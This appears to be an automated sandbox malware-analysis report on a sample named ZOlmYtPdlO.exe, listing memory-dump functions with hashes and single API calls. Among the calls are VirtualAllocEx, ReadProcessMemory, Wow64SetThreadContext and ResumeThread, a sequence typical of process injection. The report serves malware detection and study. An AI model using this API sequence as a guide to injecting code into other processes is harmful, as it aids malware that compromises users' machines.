Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b3bc103298d4541ebcc4aaf2bd023ba224ad47560f1a4c22aaa1cebde555b296
Instruction ID: 6007c5c8e162063bafe0cd7c7696215eab4c28225102143b7f6c64df89f61baa
Opcode Fuzzy Hash: b3bc103298d4541ebcc4aaf2bd023ba224ad47560f1a4c22aaa1cebde555b296
Instruction Fuzzy Hash: D52144B19003499FCB10CFA9C984BEEBBF5FF48320F10842AE918A7251D7789944CFA5

Function 0094D6F8 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0094D787

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c431ffd1d6bae8637d811d9a68de77d9b2136c0bf51fe211ee2d382ea1e77608
Instruction ID: 00c64bc5e57baa35b55ed5ee5068b61594d1be2c48e26eb719219dff1d54dd98
Opcode Fuzzy Hash: c431ffd1d6bae8637d811d9a68de77d9b2136c0bf51fe211ee2d382ea1e77608
Instruction Fuzzy Hash: 782103B59003089FDB10CF9AD984AEEBBF8EB48310F10841AE918A3310D378A950CFA0

Function 069C76B0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 069C7738

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e898eeed205f6b4231882f239793b4bb408715be4be4903fa4b87233a0932089
Instruction ID: 4d60130a098db2fc742292bf1dd231c0bf7fe5bc4d424e33b0b055cf925005b0
Opcode Fuzzy Hash: e898eeed205f6b4231882f239793b4bb408715be4be4903fa4b87233a0932089
Instruction Fuzzy Hash: 01214AB1C003599FCB10DFAAC9856EEBBF5FF88320F10842AE518A7250D7759544CFA1

Function 069C7429 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 069C74AE

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 895269995fbd01015ffb6d0507092990e6df4b19876c7cd642a0abe2cc340620
Instruction ID: 03eb71be66a4a098dedb689c19556c64da01eb649526ec61d2bf67333bf19761
Opcode Fuzzy Hash: 895269995fbd01015ffb6d0507092990e6df4b19876c7cd642a0abe2cc340620
Instruction Fuzzy Hash: FF2157B1D003088FDB10DFAAC4847EEBBF5AF88324F10842AD459A7240CB789944CFA5

Function 069C76B8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 069C7738

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7dc9cac56b8dd27f551762b189cb9fee2b89d90b3ad936ad13b2c344bcecac38
Instruction ID: 14f07380b64e4e4c89921009c6407590011b01c7fa0a6c478be9782c75678e98
Opcode Fuzzy Hash: 7dc9cac56b8dd27f551762b189cb9fee2b89d90b3ad936ad13b2c344bcecac38
Instruction Fuzzy Hash: 242116B18003599FCB10DFAAC885AEEBBF5FF48320F108429E559A7250C7749944DFA5

Function 069C7430 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 069C74AE

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fe13cf04aaaebaa8a69918a83f7c7807bcad7e41629e6f3b2ee85ce0edabcc65
Instruction ID: 2d0b6d2f37e0d17540f499493ba18dd213b5866638c92d5a8676c4bcece0aa0f
Opcode Fuzzy Hash: fe13cf04aaaebaa8a69918a83f7c7807bcad7e41629e6f3b2ee85ce0edabcc65
Instruction Fuzzy Hash: 782137B1D003098FDB10DFAAC4857EEBBF5AB48324F108429D459A7241CB789944CFA5

Function 0094D700 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0094D787

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 29d3726d5226e37c4e0c0378d12559395cb04a797b7c37504d39c70d49c0256e
Instruction ID: 952ac1d88d429d23176be356a9812e996938e13cbac69623c9c23d4245f9f22a
Opcode Fuzzy Hash: 29d3726d5226e37c4e0c0378d12559395cb04a797b7c37504d39c70d49c0256e
Instruction Fuzzy Hash: 7221E4B5900348DFDB10CF9AD584AEEBBF8EB48310F14801AE918A3310D374A944CFA4

Function 069C7501 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 069C7576

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 31b1e32b58512450e2b2bc7f3211197d96a92ba77e69f762b412f2891d4121a2
Instruction ID: 2078fcdb7a46428785a5a8082bb827edc66010cd068b10b7740f1554b2314656
Opcode Fuzzy Hash: 31b1e32b58512450e2b2bc7f3211197d96a92ba77e69f762b412f2891d4121a2
Instruction Fuzzy Hash: 3F1159B5C002489FCB10DFAAC8446EEBFF5EF88320F208819E519A7250CB759544CFA1

Function 069C7508 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 069C7576

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 14db3972c51bd233637f4668997902a59dd909110fc27fe7c538d3b40065ffcd
Instruction ID: e69a22533e6b18fd436f4ba73e983cbbbc8eab6669fe335772a3122cb35875eb
Opcode Fuzzy Hash: 14db3972c51bd233637f4668997902a59dd909110fc27fe7c538d3b40065ffcd
Instruction Fuzzy Hash: 381137B19002499FCB10DFAAC844BEEBFF5EF88320F208419E559A7250C775A954CFA5

Function 069C7379 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 069C73E2

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 67158697e4a7f8e8ed7a1911959179708a47fd08a30f7b882af010989dd93ff0
Instruction ID: 38532de57dcac844b123ea33673f3a5f8566fc216d43162a333e679a2e77d1cc
Opcode Fuzzy Hash: 67158697e4a7f8e8ed7a1911959179708a47fd08a30f7b882af010989dd93ff0
Instruction Fuzzy Hash: 841158B1D003488FCB20DFAAC8447EEFBF4EB88324F20882AD459A7250CA759944CF95

Function 069C7380 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 069C73E2

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 24b3602cf43ceed3218dfe87b398e145dbbb078fc2ac76e853c2286c9c7370fc
Instruction ID: 86c3a4591826b1c9b3991eb28b5e0266af6a44f9d740f43a4cec9e9fcea2b529
Opcode Fuzzy Hash: 24b3602cf43ceed3218dfe87b398e145dbbb078fc2ac76e853c2286c9c7370fc
Instruction Fuzzy Hash: 3C113AB1D003498FCB14DFAAC4457EEFBF4EB88324F208419D459A7250CB75A944CFA5

Function 0094B420 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0094B486

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ff228ffb0480dea73633a413fc070c1090b22cea6eb6901a8358f0a5aa72efa9
Instruction ID: 254ea9937b1528acc4e72826768f0361d6dd092dd8ce3a5703df49e38e00c9a8
Opcode Fuzzy Hash: ff228ffb0480dea73633a413fc070c1090b22cea6eb6901a8358f0a5aa72efa9
Instruction Fuzzy Hash: B911E0B5C003498FCB10DF9AC444ADEFBF8AB88324F10846AD859B7221D379A945CFA5

Function 069C8718 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 069CAF45

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f3dc0f452fb80e84144c1d514cf3ede9dcc453f76cee5a4001a9552f29700f33
Instruction ID: bdfb1522165597d3027d9660fe5c6d1b0aa12f6c2cd75997630c2e22948f4735
Opcode Fuzzy Hash: f3dc0f452fb80e84144c1d514cf3ede9dcc453f76cee5a4001a9552f29700f33
Instruction Fuzzy Hash: 4F1106B5800348DFDB10DF9AC884BEEBBF8EB48320F108459E559A7610C375A944CFA1

Function 069CAEE0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 069CAF45

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 37533264e795b2c627ab3471a5ba37644726d0fca86281530d65f991589176e2
Instruction ID: 5126e9428fabece1ad01dad720b3f71ad9bfbc9071744ff35a590eaf766ca94f
Opcode Fuzzy Hash: 37533264e795b2c627ab3471a5ba37644726d0fca86281530d65f991589176e2
Instruction Fuzzy Hash: D611F5B58003499FDB10CF9AC884BDEFFF8EB48324F108459E959A7650D375A944CFA5

Function 008ED4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764232332.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8ed000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e58b94346c74e01fb01db897d9047f36bed19800cdeeb22c31f49436e860a1a
Instruction ID: 900a59333288efdfe501a2735c2c5f80b1aac0d99d27823064260924e3d7c263
Opcode Fuzzy Hash: 0e58b94346c74e01fb01db897d9047f36bed19800cdeeb22c31f49436e860a1a
Instruction Fuzzy Hash: 53213472504384DFCB05DF15D9C0B2BBF65FB98318F20C569E8098B256C336D85ACBA2

Function 008ED3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764232332.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8ed000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a01a37edb90204163989f884950a7be31d2f3d1a6f9a19f2296a9b93be26b4
Instruction ID: 91f59101d64610c2ab96fbc2dd89be288c9f67d89b27eb3bf65dbe2ff8e06f25
Opcode Fuzzy Hash: 52a01a37edb90204163989f884950a7be31d2f3d1a6f9a19f2296a9b93be26b4
Instruction Fuzzy Hash: 54213A71504384DFDB05DF15D9C0B16BFA5FBA5318F20C169E9098F296C336E85AC7A2

Function 008FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764296507.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8fd000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c97e77f110a0c173486c8e44e58f122ff4be602f29d4b8cfe577216ef6c2e75
Instruction ID: 419fff927b7d1e2f2e67b815db0a6f8000a29acfd0dbfd396e1d7343e9dadf39
Opcode Fuzzy Hash: 4c97e77f110a0c173486c8e44e58f122ff4be602f29d4b8cfe577216ef6c2e75
Instruction Fuzzy Hash: 5221F571504708DFDB14DF24D584B26BB66FBC4314F20C569DB098B356CB3AD847CA61

Function 008FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764296507.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8fd000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d6ab55c67468b1de90a98ba807916626707911eee36b25b40d5faa9ce51f18c
Instruction ID: 8870051f791399723db60cd4a628c567c502f68e1f8be95a597935cb3e1e66e7
Opcode Fuzzy Hash: 0d6ab55c67468b1de90a98ba807916626707911eee36b25b40d5faa9ce51f18c
Instruction Fuzzy Hash: 4E210771504308DFDB05DF24D5C4B36BBA6FB84318F20C56DDB098B255C336E846CAA1

Function 008ED3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764232332.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8ed000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d49b323c82fef08a63c33289d743884465759cfbb7c2b71d25de91e8c9da7651
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1311DF76404380CFCB02CF00D5C4B16BF71FBA4328F24C2A9D8094B256C33AE85ACBA1

Function 008ED4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764232332.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8ed000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 3330c689c45aa7897cbb180579b3747aa3eeee490ab5a841e9b73db756940678
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: A311B176504380CFCB16CF14D9C4B16BF71FB94318F24C6AAD8494B656C336D85ACBA1

Function 008FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764296507.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8fd000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2626c95c78107abf64b95225c5b6695220254304b8c310642941d797f0a3205d
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 7211BE75504344DFCB02CF20C5C4B25BB62FB84314F24C6AADA498B256C33AE80ACB91

Function 008FD017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1764296507.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8fd000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: d2cfdcd8f217cc85eaa34925b9b3920171c4983938793c1bba417af50da9b747
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 4A11BE75504784CFCB15CF24D5C4B25FB62FB84314F24C6AADA098B656C33AD80ACB61

Analysis Process: ZOlmYtPdlO.exePID: 8136, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	8

Executed Functions

Function 03037118 Relevance: 6.6, Strings: 5, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 0303753D
(o^q, xrefs: 03037212
,bq, xrefs: 0303728A
(o^q, xrefs: 03037220
,bq, xrefs: 03037298

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 96ad47c612a72335bfe7f1d10efa36116abee67095fbb3a4a0b43159ccd5513e
Instruction ID: 5ae0f7551e2b9e77537b4eb139b70444358c0cbc377c979c20e30dd7744f7ece
Opcode Fuzzy Hash: 96ad47c612a72335bfe7f1d10efa36116abee67095fbb3a4a0b43159ccd5513e
Instruction Fuzzy Hash: 37E16FB1A01115DFCB58CF69C884AADBBFAFF8A700F198455E845AB361D730EC41CB51

Function 0303C146 Relevance: 6.5, Strings: 5, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0303C3EF
PH^q, xrefs: 0303C400
0oAp, xrefs: 0303C20A
LjAp, xrefs: 0303C377
LjAp, xrefs: 0303C38D

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 176b14791046dfdc65ca0822661b2a9eb8d43a90efb16576b56334ffffaff9e0
Instruction ID: 1ef814a5a00b25bb9ce8309ae73b420ff48353ccaeb9f0798f54d0693e988aab
Opcode Fuzzy Hash: 176b14791046dfdc65ca0822661b2a9eb8d43a90efb16576b56334ffffaff9e0
Instruction Fuzzy Hash: D8A1D674E05218DFEB14DFA9D884A9DBBF6BF8A300F148069E409EB365DB349941CF51

Function 03035362 Relevance: 6.4, Strings: 5, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 030353E2
PH^q, xrefs: 030355D9
LjAp, xrefs: 03035550
LjAp, xrefs: 03035566
PH^q, xrefs: 030355C8

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: cce1123863b98743668cdbf8b6986060fe9cf88307134c35939d583d822962de
Instruction ID: 9d982cc6814d6aaf2a4526a7c95a1b06617ecb68706b9af45a76ac0dfeb1a9f4
Opcode Fuzzy Hash: cce1123863b98743668cdbf8b6986060fe9cf88307134c35939d583d822962de
Instruction Fuzzy Hash: 5191E674E01218CFDB58DFAAD994A9DBBF2BF89300F14C069E409AB365DB349945CF50

Function 0303C738 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0303C98F
0oAp, xrefs: 0303C7AA
PH^q, xrefs: 0303C9A0
LjAp, xrefs: 0303C917
LjAp, xrefs: 0303C92D

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 50945011aad63ba53f5855a510049fed622a7d7b6369663939743670ba846fae
Instruction ID: 277965f7bbeabdadbd3752593dbc08ceae61411a8cf199762d82f2f98204a01f
Opcode Fuzzy Hash: 50945011aad63ba53f5855a510049fed622a7d7b6369663939743670ba846fae
Instruction Fuzzy Hash: 2E81D574E01218DFEB54DFAAD984A9DBBF6BF89300F14C06AE418AB365DB349941CF50

Function 0303CA08 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0303CBE7
PH^q, xrefs: 0303CC70
LjAp, xrefs: 0303CBFD
0oAp, xrefs: 0303CA7A
PH^q, xrefs: 0303CC5F

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: eee3698a11eb9e130ca044ca58724acf6f9bfd65e0b128ff59f9e1b4ca4a44cd
Instruction ID: 765f106fc0b4333b8ce8841f23d9ad1771976478840f23c2e6f69c6ba4d02192
Opcode Fuzzy Hash: eee3698a11eb9e130ca044ca58724acf6f9bfd65e0b128ff59f9e1b4ca4a44cd
Instruction Fuzzy Hash: 9D81C374E01218DFEB54DFAAD884A9DBBF6BF89300F14C069E419AB365DB349981CF50

Function 0303D278 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0303D4CF
LjAp, xrefs: 0303D457
PH^q, xrefs: 0303D4E0
LjAp, xrefs: 0303D46D
0oAp, xrefs: 0303D2EA

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 2ddd4ddf3e6a07507882da2859a80f1e89a8ecb81e8bbcc9e35c15946bf861d6
Instruction ID: 98c78cd5a9d3e44cd356bdd65881d616a0452149a8aaa6dc3df68e6edb36b955
Opcode Fuzzy Hash: 2ddd4ddf3e6a07507882da2859a80f1e89a8ecb81e8bbcc9e35c15946bf861d6
Instruction Fuzzy Hash: 0F81B174E01218CFDB54DFAAD984A9DFBF6BF89300F148069E419AB365DB34A985CF10

Function 0303C468 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0303C647
LjAp, xrefs: 0303C65D
PH^q, xrefs: 0303C6BF
PH^q, xrefs: 0303C6D0
0oAp, xrefs: 0303C4DA

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 29a9ccd1c1b2ce372348c0bac145ed502d41e1f838ac92fc2b8a50402361ef7f
Instruction ID: 9832a573fcbfe2230667cc382657aa2525ffbd6577d287151854869dcab4dd5a
Opcode Fuzzy Hash: 29a9ccd1c1b2ce372348c0bac145ed502d41e1f838ac92fc2b8a50402361ef7f
Instruction Fuzzy Hash: 8181D374E01208CFEB54CFAAD984A9DBBF2BF89300F149069E409AB365DB349981CF10

Function 0303CFA9 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0303D187
PH^q, xrefs: 0303D210
0oAp, xrefs: 0303D01A
PH^q, xrefs: 0303D1FF
LjAp, xrefs: 0303D19D

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 3430fd7f9c27b143203e47ebdb71baec9312de1ca8035af8eef2d0927260115a
Instruction ID: 730fc1e33777f9b85008e67a7958013e6073b9d19a46c4d569ce683eca8a0a55
Opcode Fuzzy Hash: 3430fd7f9c27b143203e47ebdb71baec9312de1ca8035af8eef2d0927260115a
Instruction Fuzzy Hash: 6B81B374E01218DFDB54DFAAD984A9DBBF6BF89300F14C069E809AB365DB349985CF10

Function 0303CCD8 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0303CF40
LjAp, xrefs: 0303CECD
PH^q, xrefs: 0303CF2F
LjAp, xrefs: 0303CEB7
0oAp, xrefs: 0303CD4A

Memory Dump Source

Source File: 00000010.00000002.4137137785.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3030000_ZOlmYtPdlO.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: f7df85c6c2a930f1d720657aec17c6c4976cda5932b6aacd620d1d538831fb7b
Instruction ID: b9cde83791e3891d887e7eb0108b298878dc52b96ba8a2425b96a74a48ad18a4
Opcode Fuzzy Hash: f7df85c6c2a930f1d720657aec17c6c4976cda5932b6aacd620d1d538831fb7b
Instruction Fuzzy Hash: 8281D274E01218DFEB54DFAAD884A9DBBF6BF89300F14C069E419AB365DB349981CF50

Function 030329EC Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 03032A9E
Xbq, xrefs: 03032AD8
Xbq, xrefs: 03032BA4
Xbq, xrefs: 03032B57

Memory Dump Source

